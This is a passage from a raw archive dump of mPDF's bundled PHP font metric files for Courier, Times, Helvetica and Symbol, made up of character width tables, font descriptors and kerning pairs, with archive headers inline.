'c' => 444, 'd' => 556, 'e' => 444, 'f' => 333, 'g' => 500, 'h' => 556, 'i' => 278, 'j' => 333, 'k' => 556, 'l' => 278, 'm' => 833, 'n' => 556, 'o' => 500, 'p' => 556, 'q' => 556, 'r' => 444, 's' => 389, 't' => 333, 'u' => 556, 'v' => 500, 'w' => 722, 'x' => 500, 'y' => 500, 'z' => 444, '{' => 394, '|' => 220, '}' => 394, '~' => 520, chr(127) => 350, chr(128) => 500, chr(129) => 350, chr(130) => 333, chr(131) => 500, chr(132) => 500, chr(133) => 1000, chr(134) => 500, chr(135) => 500, chr(136) => 333, chr(137) => 1000, chr(138) => 556, chr(139) => 333, chr(140) => 1000, chr(141) => 350, chr(142) => 667, chr(143) => 350, chr(144) => 350, chr(145) => 333, chr(146) => 333, chr(147) => 500, chr(148) => 500, chr(149) => 350, chr(150) => 500, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 389, chr(155) => 333, chr(156) => 722, chr(157) => 350, chr(158) => 444, chr(159) => 722, chr(160) => 250, chr(161) => 333, chr(162) => 500, chr(163) => 500, chr(164) => 500, chr(165) => 500, chr(166) => 220, chr(167) => 500, chr(168) => 333, chr(169) => 747, chr(170) => 300, chr(171) => 500, chr(172) => 570, chr(173) => 333, chr(174) => 747, chr(175) => 333, chr(176) => 400, chr(177) => 570, chr(178) => 300, chr(179) => 300, chr(180) => 333, chr(181) => 556, chr(182) => 540, chr(183) => 250, chr(184) => 333, chr(185) => 300, chr(186) => 330, chr(187) => 500, chr(188) => 750, chr(189) => 750, chr(190) => 750, chr(191) => 500, chr(192) => 722, chr(193) => 722, chr(194) => 722, chr(195) => 722, chr(196) => 722, chr(197) => 722, chr(198) => 1000, chr(199) => 722, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 389, chr(205) => 389, chr(206) => 389, chr(207) => 389, chr(208) => 722, chr(209) => 722, chr(210) => 778, chr(211) => 778, chr(212) => 778, chr(213) => 778, chr(214) => 778, chr(215) => 570, chr(216) => 778, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 722, chr(222) => 611, chr(223) => 556, chr(224) => 500, chr(225) => 500, chr(226) => 500, chr(227) => 500, chr(228) => 500, chr(229) => 500, chr(230) => 722, chr(231) => 444, chr(232) => 444, chr(233) => 444, chr(234) => 444, chr(235) => 444, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 500, chr(241) => 556, chr(242) => 500, chr(243) => 500, chr(244) => 500, chr(245) => 500, chr(246) => 500, chr(247) => 570, chr(248) => 500, chr(249) => 556, chr(250) => 556, chr(251) => 556, chr(252) => 556, chr(253) => 500, chr(254) => 556, chr(255) => 500); //$desc=array('Ascent'=>683,'Descent'=>-217,'CapHeight'=>676,'FontBBox'=>'[-168 -218 1000 935]'); $desc = array('Flags' => 32, 'FontBBox' => '[-168 -218 1000 935]', 'ItalicAngle' => 0, 'Ascent' => 935, 'Descent' => -218, 'Leading' => 0, 'CapHeight' => 676, 'XHeight' => 461, 'StemV' => 139, 'StemH' => 44, 'AvgWidth' => 516, 'MaxWidth' => 1000, 'MissingWidth' => 516); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -55,), chr(65) => array(chr(84) => -74, chr(86) => -128, chr(87) => -110, chr(89) => -91, chr(118) => -74, chr(119) => -74, chr(121) => -74, chr(146) => -74,), chr(70) => array(chr(44) => -91, chr(46) => -91, chr(65) => -74,), chr(76) => array(chr(84) => -91, chr(86) => -91, chr(87) => -91, chr(89) => -91, chr(121) => -55, chr(146) => -91,), chr(80) => array(chr(44) => -91, chr(46) => -91, chr(65) => -74,), chr(82) => array(chr(84) => -35, chr(86) => -35, chr(87) => -35, chr(89) => -35, chr(121) => -35,), chr(84) => array(chr(44) => -74, chr(46) => -74, chr(58) => -74, chr(65) => -74, chr(79) => -18, chr(97) => -91, chr(99) => -91, chr(101) => -91, chr(105) => -18, chr(111) => -91, chr(114) => -74, chr(115) => -91, chr(117) => -91, chr(119) => -74, chr(121) => -74,), chr(86) => array(chr(44) => -128, chr(46) => -128, chr(58) => -91, chr(65) => -128, chr(79) => -20, chr(97) => -91, chr(101) => -91, chr(105) => -37, chr(111) => -91, chr(114) => -74, chr(117) => -91, chr(121) => -91,), chr(87) => array(chr(44) => -91, chr(46) => -91, chr(58) => -55, chr(65) => -110, chr(97) => -55, chr(101) => -55, chr(105) => -18, chr(111) => -55, chr(114) => -18, chr(117) => -18, chr(121) => -37,), chr(89) => array(chr(44) => -91, chr(46) => -91, chr(58) => -91, chr(65) => -91, chr(97) => -110, chr(101) => -110, chr(105) => -37, chr(111) => -110, chr(112) => -91, chr(113) => -110, chr(117) => -91, chr(118) => -110,), chr(102) => array(chr(102) => 0, chr(146) => 55,), chr(114) => array(chr(44) => -91, chr(46) => -91, chr(99) => -18, chr(101) => -18, chr(104) => 0, chr(111) => -18, chr(113) => -18, chr(116) => 0, chr(119) => 0, chr(120) => 0, chr(121) => 0, chr(122) => 0, chr(146) => 18,), chr(118) => array(chr(44) => -55, chr(46) => -55,), chr(119) => array(chr(44) => -55, chr(46) => -55,), chr(121) => array(chr(44) => -55, chr(46) => -55,), chr(145) => array(chr(145) => -74,), chr(146) => array(chr(115) => -37, chr(146) => -74,),); vendor/mpdf/mpdf/data/font/ccourieri.php000064400000000711147600022140014264 0ustar00 629, 'Descent' => -157, 'CapHeight' => 562, 'FontBBox' => '[-27 -250 849 805]'); $desc = array('Flags' => 97, 'FontBBox' => '[-27 -250 849 805]', 'ItalicAngle' => -12, 'Ascent' => 805, 'Descent' => -250, 'Leading' => 0, 'CapHeight' => 562, 'XHeight' => 426, 'StemV' => 51, 'StemH' => 51, 'AvgWidth' => 600, 'MaxWidth' => 600, 'MissingWidth' => 600); $up = -100; $ut = 50; vendor/mpdf/mpdf/data/font/ctimes.php000064400000013765147600022140013601 0ustar00 250, chr(1) => 250, chr(2) => 250, chr(3) => 250, chr(4) => 250, chr(5) => 250, chr(6) => 250, chr(7) => 250, chr(8) => 250, chr(9) => 250, chr(10) => 250, chr(11) => 250, chr(12) => 250, chr(13) => 250, chr(14) => 250, chr(15) => 250, chr(16) => 250, chr(17) => 250, chr(18) => 250, chr(19) => 250, chr(20) => 250, chr(21) => 250, chr(22) => 250, chr(23) => 250, chr(24) => 250, chr(25) => 250, chr(26) => 250, chr(27) => 250, chr(28) => 250, chr(29) => 250, chr(30) => 250, chr(31) => 250, ' ' => 250, '!' => 333, '"' => 408, '#' => 500, '$' => 500, '%' => 833, '&' => 778, '\'' => 180, '(' => 333, ')' => 333, '*' => 500, '+' => 564, ',' => 250, '-' => 333, '.' => 250, '/' => 278, '0' => 500, '1' => 500, '2' => 500, '3' => 500, '4' => 500, '5' => 500, '6' => 500, '7' => 500, '8' => 500, '9' => 500, ':' => 278, ';' => 278, '<' => 564, '=' => 564, '>' => 564, '?' => 444, '@' => 921, 'A' => 722, 'B' => 667, 'C' => 667, 'D' => 722, 'E' => 611, 'F' => 556, 'G' => 722, 'H' => 722, 'I' => 333, 'J' => 389, 'K' => 722, 'L' => 611, 'M' => 889, 'N' => 722, 'O' => 722, 'P' => 556, 'Q' => 722, 'R' => 667, 'S' => 556, 'T' => 611, 'U' => 722, 'V' => 722, 'W' => 944, 'X' => 722, 'Y' => 722, 'Z' => 611, '[' => 333, '\\' => 278, ']' => 333, '^' => 469, '_' => 500, '`' => 333, 'a' => 444, 'b' => 500, 'c' => 444, 'd' => 500, 'e' => 444, 'f' => 333, 'g' => 500, 'h' => 500, 'i' => 278, 'j' => 278, 'k' => 500, 'l' => 278, 'm' => 778, 'n' => 500, 'o' => 500, 'p' => 500, 'q' => 500, 'r' => 333, 's' => 389, 't' => 278, 'u' => 500, 'v' => 500, 'w' => 722, 'x' => 500, 'y' => 500, 'z' => 444, '{' => 480, '|' => 200, '}' => 480, '~' => 541, chr(127) => 350, chr(128) => 500, chr(129) => 350, chr(130) => 333, chr(131) => 500, chr(132) => 444, chr(133) => 1000, chr(134) => 500, chr(135) => 500, chr(136) => 333, chr(137) => 1000, chr(138) => 556, chr(139) => 333, chr(140) => 889, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 333, chr(146) => 333, chr(147) => 444, chr(148) => 444, chr(149) => 350, chr(150) => 500, chr(151) => 1000, chr(152) => 333, chr(153) => 980, chr(154) => 389, chr(155) => 333, chr(156) => 722, chr(157) => 350, chr(158) => 444, chr(159) => 722, chr(160) => 250, chr(161) => 333, chr(162) => 500, chr(163) => 500, chr(164) => 500, chr(165) => 500, chr(166) => 200, chr(167) => 500, chr(168) => 333, chr(169) => 760, chr(170) => 276, chr(171) => 500, chr(172) => 564, chr(173) => 333, chr(174) => 760, chr(175) => 333, chr(176) => 400, chr(177) => 564, chr(178) => 300, chr(179) => 300, chr(180) => 333, chr(181) => 500, chr(182) => 453, chr(183) => 250, chr(184) => 333, chr(185) => 300, chr(186) => 310, chr(187) => 500, chr(188) => 750, chr(189) => 750, chr(190) => 750, chr(191) => 444, chr(192) => 722, chr(193) => 722, chr(194) => 722, chr(195) => 722, chr(196) => 722, chr(197) => 722, chr(198) => 889, chr(199) => 667, chr(200) => 611, chr(201) => 611, chr(202) => 611, chr(203) => 611, chr(204) => 333, chr(205) => 333, chr(206) => 333, chr(207) => 333, chr(208) => 722, chr(209) => 722, chr(210) => 722, chr(211) => 722, chr(212) => 722, chr(213) => 722, chr(214) => 722, chr(215) => 564, chr(216) => 722, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 722, chr(222) => 556, chr(223) => 500, chr(224) => 444, chr(225) => 444, chr(226) => 444, chr(227) => 444, chr(228) => 444, chr(229) => 444, chr(230) => 667, chr(231) => 444, chr(232) => 444, chr(233) => 444, chr(234) => 444, chr(235) => 444, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 500, chr(241) => 500, chr(242) => 500, chr(243) => 500, chr(244) => 500, chr(245) => 500, chr(246) => 500, chr(247) => 564, chr(248) => 500, chr(249) => 500, chr(250) => 500, chr(251) => 500, chr(252) => 500, chr(253) => 500, chr(254) => 500, chr(255) => 500); //$desc=array('Ascent'=>683,'Descent'=>-217,'CapHeight'=>662,'FontBBox'=>'[-168 -218 1000 898]'); $desc = array('Flags' => 32, 'FontBBox' => '[-168 -218 1000 898]', 'ItalicAngle' => 0, 'Ascent' => 898, 'Descent' => -218, 'Leading' => 0, 'CapHeight' => 662, 'XHeight' => 450, 'StemV' => 84, 'StemH' => 28, 'AvgWidth' => 495, 'MaxWidth' => 1000, 'MissingWidth' => 495); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -37,), chr(65) => array(chr(84) => -110, chr(86) => -128, chr(87) => -80, chr(89) => -91, chr(118) => -74, chr(119) => -91, chr(121) => -91, chr(146) => -110,), chr(70) => array(chr(44) => -80, chr(46) => -80, chr(65) => -74,), chr(76) => array(chr(84) => -91, chr(86) => -91, chr(87) => -74, chr(89) => -100, chr(121) => -55, chr(146) => -91,), chr(80) => array(chr(44) => -110, chr(46) => -110, chr(65) => -91,), chr(82) => array(chr(84) => -60, chr(86) => -80, chr(87) => -55, chr(89) => -55, chr(121) => -40,), chr(84) => array(chr(44) => -74, chr(46) => -74, chr(58) => -49, chr(65) => -80, chr(79) => -18, chr(97) => -69, chr(99) => -69, chr(101) => -69, chr(105) => -35, chr(111) => -69, chr(114) => -35, chr(115) => -69, chr(117) => -35, chr(119) => -69, chr(121) => -69,), chr(86) => array(chr(44) => -128, chr(46) => -128, chr(58) => -74, chr(65) => -128, chr(97) => -110, chr(101) => -110, chr(105) => -60, chr(111) => -128, chr(114) => -60, chr(117) => -60, chr(121) => -110,), chr(87) => array(chr(44) => -91, chr(46) => -91, chr(58) => -37, chr(65) => -110, chr(97) => -80, chr(101) => -80, chr(105) => -40, chr(111) => -80, chr(114) => -40, chr(117) => -40, chr(121) => -60,), chr(89) => array(chr(44) => -128, chr(46) => -128, chr(58) => -91, chr(65) => -110, chr(97) => -100, chr(101) => -100, chr(105) => -55, chr(111) => -100, chr(112) => -91, chr(113) => -110, chr(117) => -110, chr(118) => -100,), chr(102) => array(chr(102) => -18, chr(146) => 55,), chr(114) => array(chr(44) => -40, chr(46) => -55, chr(103) => -18, chr(146) => 37,), chr(118) => array(chr(44) => -64, chr(46) => -64,), chr(119) => array(chr(44) => -64, chr(46) => -64,), chr(121) => array(chr(44) => -64, chr(46) => -64,), chr(145) => array(chr(145) => -74,), chr(146) => array(chr(115) => -55, chr(116) => -18, chr(146) => -74,),); vendor/mpdf/mpdf/data/font/ctimesbi.php000064400000013713147600022140014105 0ustar00 250, chr(1) => 250, chr(2) => 250, chr(3) => 250, chr(4) => 250, chr(5) => 250, chr(6) => 250, chr(7) => 250, chr(8) => 250, chr(9) => 250, chr(10) => 250, chr(11) => 250, chr(12) => 250, chr(13) => 250, chr(14) => 250, chr(15) => 250, chr(16) => 250, chr(17) => 250, chr(18) => 250, chr(19) => 250, chr(20) => 250, chr(21) => 250, chr(22) => 250, chr(23) => 250, chr(24) => 250, chr(25) => 250, chr(26) => 250, chr(27) => 250, chr(28) => 250, chr(29) => 250, chr(30) => 250, chr(31) => 250, ' ' => 250, '!' => 389, '"' => 555, '#' => 500, '$' => 500, '%' => 833, '&' => 778, '\'' => 278, '(' => 333, ')' => 333, '*' => 500, '+' => 570, ',' => 250, '-' => 333, '.' => 250, '/' => 278, '0' => 500, '1' => 500, '2' => 500, '3' => 500, '4' => 500, '5' => 500, '6' => 500, '7' => 500, '8' => 500, '9' => 500, ':' => 333, ';' => 333, '<' => 570, '=' => 570, '>' => 570, '?' => 500, '@' => 832, 'A' => 667, 'B' => 667, 'C' => 667, 'D' => 722, 'E' => 667, 'F' => 667, 'G' => 722, 'H' => 778, 'I' => 389, 'J' => 500, 'K' => 667, 'L' => 611, 'M' => 889, 'N' => 722, 'O' => 722, 'P' => 611, 'Q' => 722, 'R' => 667, 'S' => 556, 'T' => 611, 'U' => 722, 'V' => 667, 'W' => 889, 'X' => 667, 'Y' => 611, 'Z' => 611, '[' => 333, '\\' => 278, ']' => 333, '^' => 570, '_' => 500, '`' => 333, 'a' => 500, 'b' => 500, 'c' => 444, 'd' => 500, 'e' => 444, 'f' => 333, 'g' => 500, 'h' => 556, 'i' => 278, 'j' => 278, 'k' => 500, 'l' => 278, 'm' => 778, 'n' => 556, 'o' => 500, 'p' => 500, 'q' => 500, 'r' => 389, 's' => 389, 't' => 278, 'u' => 556, 'v' => 444, 'w' => 667, 'x' => 500, 'y' => 444, 'z' => 389, '{' => 348, '|' => 220, '}' => 348, '~' => 570, chr(127) => 350, chr(128) => 500, chr(129) => 350, chr(130) => 333, chr(131) => 500, chr(132) => 500, chr(133) => 1000, chr(134) => 500, chr(135) => 500, chr(136) => 333, chr(137) => 1000, chr(138) => 556, chr(139) => 333, chr(140) => 944, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 333, chr(146) => 333, chr(147) => 500, chr(148) => 500, chr(149) => 350, chr(150) => 500, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 389, chr(155) => 333, chr(156) => 722, chr(157) => 350, chr(158) => 389, chr(159) => 611, chr(160) => 250, chr(161) => 389, chr(162) => 500, chr(163) => 500, chr(164) => 500, chr(165) => 500, chr(166) => 220, chr(167) => 500, chr(168) => 333, chr(169) => 747, chr(170) => 266, chr(171) => 500, chr(172) => 606, chr(173) => 333, chr(174) => 747, chr(175) => 333, chr(176) => 400, chr(177) => 570, chr(178) => 300, chr(179) => 300, chr(180) => 333, chr(181) => 576, chr(182) => 500, chr(183) => 250, chr(184) => 333, chr(185) => 300, chr(186) => 300, chr(187) => 500, chr(188) => 750, chr(189) => 750, chr(190) => 750, chr(191) => 500, chr(192) => 667, chr(193) => 667, chr(194) => 667, chr(195) => 667, chr(196) => 667, chr(197) => 667, chr(198) => 944, chr(199) => 667, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 389, chr(205) => 389, chr(206) => 389, chr(207) => 389, chr(208) => 722, chr(209) => 722, chr(210) => 722, chr(211) => 722, chr(212) => 722, chr(213) => 722, chr(214) => 722, chr(215) => 570, chr(216) => 722, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 611, chr(222) => 611, chr(223) => 500, chr(224) => 500, chr(225) => 500, chr(226) => 500, chr(227) => 500, chr(228) => 500, chr(229) => 500, chr(230) => 722, chr(231) => 444, chr(232) => 444, chr(233) => 444, chr(234) => 444, chr(235) => 444, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 500, chr(241) => 556, chr(242) => 500, chr(243) => 500, chr(244) => 500, chr(245) => 500, chr(246) => 500, chr(247) => 570, chr(248) => 500, chr(249) => 556, chr(250) => 556, chr(251) => 556, chr(252) => 556, chr(253) => 444, chr(254) => 500, chr(255) => 444); //$desc=array('Ascent'=>683,'Descent'=>-217,'CapHeight'=>669,'FontBBox'=>'[-200 -218 996 921]'); $desc = array('Flags' => 96, 'FontBBox' => '[-200 -218 996 921]', 'ItalicAngle' => -15, 'Ascent' => 921, 'Descent' => -218, 'Leading' => 0, 'CapHeight' => 669, 'XHeight' => 462, 'StemV' => 121, 'StemH' => 42, 'AvgWidth' => 501, 'MaxWidth' => 1000, 'MissingWidth' => 501); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -55,), chr(65) => array(chr(84) => -55, chr(86) => -74, chr(87) => -91, chr(89) => -55, chr(118) => -74, chr(119) => -74, chr(121) => -74, chr(146) => -74,), chr(70) => array(chr(44) => -128, chr(46) => -128, chr(65) => -91,), chr(76) => array(chr(84) => -18, chr(86) => -37, chr(87) => -37, chr(89) => -37, chr(121) => -37, chr(146) => -55,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(82) => array(chr(86) => -18, chr(87) => -18, chr(89) => -18, chr(121) => -18,), chr(84) => array(chr(44) => -91, chr(46) => -91, chr(58) => -74, chr(65) => -55, chr(79) => -18, chr(97) => -91, chr(99) => -91, chr(101) => -91, chr(105) => -37, chr(111) => -91, chr(114) => -37, chr(115) => -91, chr(117) => -37, chr(119) => -37, chr(121) => -37,), chr(86) => array(chr(44) => -128, chr(46) => -128, chr(58) => -74, chr(65) => -74, chr(97) => -110, chr(101) => -110, chr(105) => -55, chr(111) => -110, chr(114) => -55, chr(117) => -55, chr(121) => -74,), chr(87) => array(chr(44) => -74, chr(46) => -74, chr(58) => -55, chr(65) => -74, chr(97) => -74, chr(101) => -74, chr(105) => -37, chr(111) => -74, chr(114) => -74, chr(117) => -55, chr(121) => -55,), chr(89) => array(chr(44) => -91, chr(46) => -74, chr(58) => -91, chr(65) => -74, chr(97) => -91, chr(101) => -110, chr(105) => -55, chr(111) => -110, chr(112) => -74, chr(113) => -110, chr(117) => -91, chr(118) => -91,), chr(102) => array(chr(102) => -18, chr(146) => 55,), chr(114) => array(chr(44) => -55, chr(46) => -55, chr(146) => 37,), chr(118) => array(chr(44) => -37, chr(46) => -37,), chr(119) => array(chr(44) => -37, chr(46) => -37,), chr(121) => array(chr(44) => -37, chr(46) => -37,), chr(145) => array(chr(145) => -74,), chr(146) => array(chr(115) => -74, chr(116) => -37, chr(146) => -74,),); vendor/mpdf/mpdf/data/font/chelvetica.php000064400000013672147600022140014421 0ustar00 278, chr(1) => 278, chr(2) => 278, chr(3) => 278, chr(4) => 278, chr(5) => 278, chr(6) => 278, chr(7) => 278, chr(8) => 278, chr(9) => 278, chr(10) => 278, chr(11) => 278, chr(12) => 278, chr(13) => 278, chr(14) => 278, chr(15) => 278, chr(16) => 278, chr(17) => 278, chr(18) => 278, chr(19) => 278, chr(20) => 278, chr(21) => 278, chr(22) => 278, chr(23) => 278, chr(24) => 278, chr(25) => 278, chr(26) => 278, chr(27) => 278, chr(28) => 278, chr(29) => 278, chr(30) => 278, chr(31) => 278, ' ' => 278, '!' => 278, '"' => 355, '#' => 556, '$' => 556, '%' => 889, '&' => 667, '\'' => 191, '(' => 333, ')' => 333, '*' => 389, '+' => 584, ',' => 278, '-' => 333, '.' => 278, '/' => 278, '0' => 556, '1' => 556, '2' => 556, '3' => 556, '4' => 556, '5' => 556, '6' => 556, '7' => 556, '8' => 556, '9' => 556, ':' => 278, ';' => 278, '<' => 584, '=' => 584, '>' => 584, '?' => 556, '@' => 1015, 'A' => 667, 'B' => 667, 'C' => 722, 'D' => 722, 'E' => 667, 'F' => 611, 'G' => 778, 'H' => 722, 'I' => 278, 'J' => 500, 'K' => 667, 'L' => 556, 'M' => 833, 'N' => 722, 'O' => 778, 'P' => 667, 'Q' => 778, 'R' => 722, 'S' => 667, 'T' => 611, 'U' => 722, 'V' => 667, 'W' => 944, 'X' => 667, 'Y' => 667, 'Z' => 611, '[' => 278, '\\' => 278, ']' => 278, '^' => 469, '_' => 556, '`' => 333, 'a' => 556, 'b' => 556, 'c' => 500, 'd' => 556, 'e' => 556, 'f' => 278, 'g' => 556, 'h' => 556, 'i' => 222, 'j' => 222, 'k' => 500, 'l' => 222, 'm' => 833, 'n' => 556, 'o' => 556, 'p' => 556, 'q' => 556, 'r' => 333, 's' => 500, 't' => 278, 'u' => 556, 'v' => 500, 'w' => 722, 'x' => 500, 'y' => 500, 'z' => 500, '{' => 334, '|' => 260, '}' => 334, '~' => 584, chr(127) => 350, chr(128) => 556, chr(129) => 350, chr(130) => 222, chr(131) => 556, chr(132) => 333, chr(133) => 1000, chr(134) => 556, chr(135) => 556, chr(136) => 333, chr(137) => 1000, chr(138) => 667, chr(139) => 333, chr(140) => 1000, chr(141) => 350, chr(142) => 611, chr(143) => 350, chr(144) => 350, chr(145) => 222, chr(146) => 222, chr(147) => 333, chr(148) => 333, chr(149) => 350, chr(150) => 556, chr(151) => 1000, chr(152) => 333, chr(153) => 1000, chr(154) => 500, chr(155) => 333, chr(156) => 944, chr(157) => 350, chr(158) => 500, chr(159) => 667, chr(160) => 278, chr(161) => 333, chr(162) => 556, chr(163) => 556, chr(164) => 556, chr(165) => 556, chr(166) => 260, chr(167) => 556, chr(168) => 333, chr(169) => 737, chr(170) => 370, chr(171) => 556, chr(172) => 584, chr(173) => 333, chr(174) => 737, chr(175) => 333, chr(176) => 400, chr(177) => 584, chr(178) => 333, chr(179) => 333, chr(180) => 333, chr(181) => 556, chr(182) => 537, chr(183) => 278, chr(184) => 333, chr(185) => 333, chr(186) => 365, chr(187) => 556, chr(188) => 834, chr(189) => 834, chr(190) => 834, chr(191) => 611, chr(192) => 667, chr(193) => 667, chr(194) => 667, chr(195) => 667, chr(196) => 667, chr(197) => 667, chr(198) => 1000, chr(199) => 722, chr(200) => 667, chr(201) => 667, chr(202) => 667, chr(203) => 667, chr(204) => 278, chr(205) => 278, chr(206) => 278, chr(207) => 278, chr(208) => 722, chr(209) => 722, chr(210) => 778, chr(211) => 778, chr(212) => 778, chr(213) => 778, chr(214) => 778, chr(215) => 584, chr(216) => 778, chr(217) => 722, chr(218) => 722, chr(219) => 722, chr(220) => 722, chr(221) => 667, chr(222) => 667, chr(223) => 611, chr(224) => 556, chr(225) => 556, chr(226) => 556, chr(227) => 556, chr(228) => 556, chr(229) => 556, chr(230) => 889, chr(231) => 500, chr(232) => 556, chr(233) => 556, chr(234) => 556, chr(235) => 556, chr(236) => 278, chr(237) => 278, chr(238) => 278, chr(239) => 278, chr(240) => 556, chr(241) => 556, chr(242) => 556, chr(243) => 556, chr(244) => 556, chr(245) => 556, chr(246) => 556, chr(247) => 584, chr(248) => 611, chr(249) => 556, chr(250) => 556, chr(251) => 556, chr(252) => 556, chr(253) => 500, chr(254) => 556, chr(255) => 500); //$desc=array('Ascent'=>718,'Descent'=>-207,'CapHeight'=>718,'FontBBox'=>'[-166 -225 1000 931]'); $desc = array('Flags' => 32, 'FontBBox' => '[-166 -225 1000 931]', 'ItalicAngle' => 0, 'Ascent' => 931, 'Descent' => -225, 'Leading' => 0, 'CapHeight' => 718, 'XHeight' => 523, 'StemV' => 88, 'StemH' => 76, 'AvgWidth' => 513, 'MaxWidth' => 1015, 'MissingWidth' => 513); $up = -100; $ut = 50; $kerninfo = array(chr(49) => array(chr(49) => -74,), chr(65) => array(chr(84) => -74, chr(86) => -74, chr(87) => -37, chr(89) => -74, chr(118) => -18, chr(119) => -18, chr(121) => -18, chr(146) => -74,), chr(70) => array(chr(44) => -110, chr(46) => -110, chr(65) => -55,), chr(76) => array(chr(84) => -74, chr(86) => -74, chr(87) => -74, chr(89) => -74, chr(121) => -37, chr(146) => -55,), chr(80) => array(chr(44) => -128, chr(46) => -128, chr(65) => -74,), chr(82) => array(chr(84) => -18, chr(86) => -18, chr(87) => -18, chr(89) => -18,), chr(84) => array(chr(44) => -110, chr(46) => -110, chr(58) => -110, chr(65) => -74, chr(79) => -18, chr(97) => -110, chr(99) => -110, chr(101) => -110, chr(105) => -37, chr(111) => -110, chr(114) => -37, chr(115) => -110, chr(117) => -37, chr(119) => -55, chr(121) => -55,), chr(86) => array(chr(44) => -91, chr(46) => -91, chr(58) => -37, chr(65) => -74, chr(97) => -74, chr(101) => -55, chr(105) => -18, chr(111) => -55, chr(114) => -37, chr(117) => -37, chr(121) => -37,), chr(87) => array(chr(44) => -55, chr(46) => -55, chr(58) => -18, chr(65) => -37, chr(97) => -37, chr(101) => -18, chr(105) => 0, chr(111) => -18, chr(114) => -18, chr(117) => -18, chr(121) => -8,), chr(89) => array(chr(44) => -128, chr(46) => -128, chr(58) => -55, chr(65) => -74, chr(97) => -74, chr(101) => -91, chr(105) => -37, chr(111) => -91, chr(112) => -74, chr(113) => -91, chr(117) => -55, chr(118) => -55,), chr(102) => array(chr(102) => -18, chr(146) => 18,), chr(114) => array(chr(44) => -55, chr(46) => -55, chr(146) => 37,), chr(118) => array(chr(44) => -74, chr(46) => -74,), chr(119) => array(chr(44) => -55, chr(46) => -55,), chr(121) => array(chr(44) => -74, chr(46) => -74,), chr(145) => array(chr(145) => -18,), chr(146) => array(chr(115) => -18, chr(146) => -18,),); vendor/mpdf/mpdf/data/font/csymbol.php000064400000010045147600022140013751 0ustar00 250, chr(1) => 250, chr(2) => 250, chr(3) => 250, chr(4) => 250, chr(5) => 250, chr(6) => 250, chr(7) => 250, chr(8) => 250, chr(9) => 250, chr(10) => 250, chr(11) => 250, chr(12) => 250, chr(13) => 250, chr(14) => 250, chr(15) => 250, chr(16) => 250, chr(17) => 250, chr(18) => 250, chr(19) => 250, chr(20) => 250, chr(21) => 250, chr(22) => 250, chr(23) => 250, chr(24) => 250, chr(25) => 250, chr(26) => 250, chr(27) => 250, chr(28) => 250, chr(29) => 250, chr(30) => 250, chr(31) => 250, ' ' => 250, '!' => 333, '"' => 713, '#' => 500, '$' => 549, '%' => 833, '&' => 778, '\'' => 439, '(' => 333, ')' => 333, '*' => 500, '+' => 549, ',' => 250, '-' => 549, '.' => 250, '/' => 278, '0' => 500, '1' => 500, '2' => 500, '3' => 500, '4' => 500, '5' => 500, '6' => 500, '7' => 500, '8' => 500, '9' => 500, ':' => 278, ';' => 278, '<' => 549, '=' => 549, '>' => 549, '?' => 444, '@' => 549, 'A' => 722, 'B' => 667, 'C' => 722, 'D' => 612, 'E' => 611, 'F' => 763, 'G' => 603, 'H' => 722, 'I' => 333, 'J' => 631, 'K' => 722, 'L' => 686, 'M' => 889, 'N' => 722, 'O' => 722, 'P' => 768, 'Q' => 741, 'R' => 556, 'S' => 592, 'T' => 611, 'U' => 690, 'V' => 439, 'W' => 768, 'X' => 645, 'Y' => 795, 'Z' => 611, '[' => 333, '\\' => 863, ']' => 333, '^' => 658, '_' => 500, '`' => 500, 'a' => 631, 'b' => 549, 'c' => 549, 'd' => 494, 'e' => 439, 'f' => 521, 'g' => 411, 'h' => 603, 'i' => 329, 'j' => 603, 'k' => 549, 'l' => 549, 'm' => 576, 'n' => 521, 'o' => 549, 'p' => 549, 'q' => 521, 'r' => 549, 's' => 603, 't' => 439, 'u' => 576, 'v' => 713, 'w' => 686, 'x' => 493, 'y' => 686, 'z' => 494, '{' => 480, '|' => 200, '}' => 480, '~' => 549, chr(127) => 0, chr(128) => 0, chr(129) => 0, chr(130) => 0, chr(131) => 0, chr(132) => 0, chr(133) => 0, chr(134) => 0, chr(135) => 0, chr(136) => 0, chr(137) => 0, chr(138) => 0, chr(139) => 0, chr(140) => 0, chr(141) => 0, chr(142) => 0, chr(143) => 0, chr(144) => 0, chr(145) => 0, chr(146) => 0, chr(147) => 0, chr(148) => 0, chr(149) => 0, chr(150) => 0, chr(151) => 0, chr(152) => 0, chr(153) => 0, chr(154) => 0, chr(155) => 0, chr(156) => 0, chr(157) => 0, chr(158) => 0, chr(159) => 0, chr(160) => 750, chr(161) => 620, chr(162) => 247, chr(163) => 549, chr(164) => 167, chr(165) => 713, chr(166) => 500, chr(167) => 753, chr(168) => 753, chr(169) => 753, chr(170) => 753, chr(171) => 1042, chr(172) => 987, chr(173) => 603, chr(174) => 987, chr(175) => 603, chr(176) => 400, chr(177) => 549, chr(178) => 411, chr(179) => 549, chr(180) => 549, chr(181) => 713, chr(182) => 494, chr(183) => 460, chr(184) => 549, chr(185) => 549, chr(186) => 549, chr(187) => 549, chr(188) => 1000, chr(189) => 603, chr(190) => 1000, chr(191) => 658, chr(192) => 823, chr(193) => 686, chr(194) => 795, chr(195) => 987, chr(196) => 768, chr(197) => 768, chr(198) => 823, chr(199) => 768, chr(200) => 768, chr(201) => 713, chr(202) => 713, chr(203) => 713, chr(204) => 713, chr(205) => 713, chr(206) => 713, chr(207) => 713, chr(208) => 768, chr(209) => 713, 